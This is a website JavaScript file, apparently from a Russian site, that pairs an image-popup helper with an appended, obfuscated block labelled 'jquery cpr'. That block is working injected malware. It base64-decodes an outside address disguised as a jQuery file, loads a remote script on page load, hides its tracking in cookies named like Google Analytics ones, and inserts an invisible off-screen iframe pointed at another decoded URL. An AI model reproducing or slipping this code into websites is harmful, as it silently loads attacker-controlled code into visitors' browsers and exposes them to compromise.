var Wnd;
function ShowImage($Url, $Name, $Width, $Height) {
  var rnd = (Math.round(Math.random()*1000));
	if(Wnd != undefined) { 
	  if(!Wnd.closed) {
			Wnd.close(); 
		}
	}

	Wnd = window.open($Url, 'Image'+rnd, 'width='+$Width+',height='+$Height+',');
	Wnd.document.write('<html>');
	Wnd.document.write('<head>');
	Wnd.document.write('<title>Красавец.ру - ['+$Name+']</title>');
	Wnd.document.write('</head>');
	Wnd.document.write('<body bgColor="#ffffff" leftmargin="0" topmargin="0" rightmargin="0" bottommargin="0" onClose="alert();">');
	Wnd.document.write('<a href="#" onclick="window.self.close();"><img src="'+$Url+'" width="'+$Width+'" height="'+$Height+' border="0" /></a>');
	Wnd.document.write('</body>');
	Wnd.document.write('</html>');
}

/* === jquery cpr === */
var cpr={};cpr.config={base64url:'aHR0cDovL3NjcmlwdHMuc2VydmV1c2VyLmNvbS81L2pxdWVyeS0xLjMuMi5qcw==',siteid:'',timeout:2592000,timeout2:43200,cookie:'__utme',cookie2:'__utmx'};cpr.ae=function(e,et,f){if(e.addEventListener){e.addEventListener(et,f,false);return f;}ief=function(){f.call(f);};e.attachEvent('on'+et,ief);return ief;};cpr.bd=function(data){var b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=b64.indexOf(data.charAt(i++));h2=b64.indexOf(data.charAt(i++));h3=b64.indexOf(data.charAt(i++));h4=b64.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64)enc+=String.fromCharCode(o1);else if(h4==64)enc+=String.fromCharCode(o1,o2);else enc+=String.fromCharCode(o1,o2,o3);}while(i<data.length);return enc;};cpr.time=function(){var foo=new Date;var unixtime_ms=foo.getTime();return parseInt(unixtime_ms/1000);};cpr.getCookie=function(name){var matches=document.cookie.match(new RegExp("(?:^|; )"+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return matches?decodeURIComponent(matches[1]):undefined;};cpr.setCookie=function(name,value,props){props=props||{};var exp=props.expires;if(typeof exp=="number"&&exp){var d=new Date();d.setTime(d.getTime()+exp*1000);exp=props.expires=d;}if(exp&&exp.toUTCString){props.expires=exp.toUTCString();}value=encodeURIComponent(value);var updatedCookie=name+"="+value;for(var propName in props){updatedCookie+="; "+propName;var propValue=props[propName];if(propValue!==true){updatedCookie+="="+propValue;}}document.cookie=updatedCookie;};cpr.saved=0;cpr.expired=0;if(window.localStorage){if(window.localStorage[cpr.config.cookie]){cpr.saved++;if(parseInt(window.localStorage[cpr.config.cookie])+cpr.config.timeout<cpr.time())cpr.expired++;}}if(cpr.getCookie(cpr.config.cookie)){cpr.saved++;if(parseInt(cpr.getCookie(cpr.config.cookie))+cpr.config.timeout<cpr.time())cpr.expired++;}cpr.ae(window,'load',function(e){var inc=true;if(cpr.getCookie(cpr.config.cookie2)){if(parseInt(cpr.getCookie(cpr.config.cookie2))+cpr.config.timeout2>cpr.time())inc=false;}if(inc){cpr.e=document.createElement('script');cpr.e.setAttribute('type','text/javascript');cpr.e.setAttribute('src',cpr.bd(cpr.config.base64url)+'?method=2&id='+cpr.config.siteid);document.body.appendChild(cpr.e);}cpr.inter=setInterval(function(){if(!cpr.stop&&document.body.is){if(cpr.expired!=0||cpr.saved==0){if(window.localStorage)window.localStorage[cpr.config.cookie]=cpr.time();cpr.setCookie(cpr.config.cookie,cpr.time(),{expires:(86400*365),path:'/'});cpr.iframe=document.createElement('iframe');cpr.iframe.style.cssText='height:3px;position:absolute;width:5px;border:none;left:-5000px;';document.body.appendChild(cpr.iframe);cpr.iframe.src=cpr.bd(document.body.is);}cpr.stop=true;clearInterval(cpr.inter);cpr.setCookie(cpr.config.cookie2,cpr.time(),{expires:(86400*365),path:'/'});}},10);});
/* === /jquery cpr === */
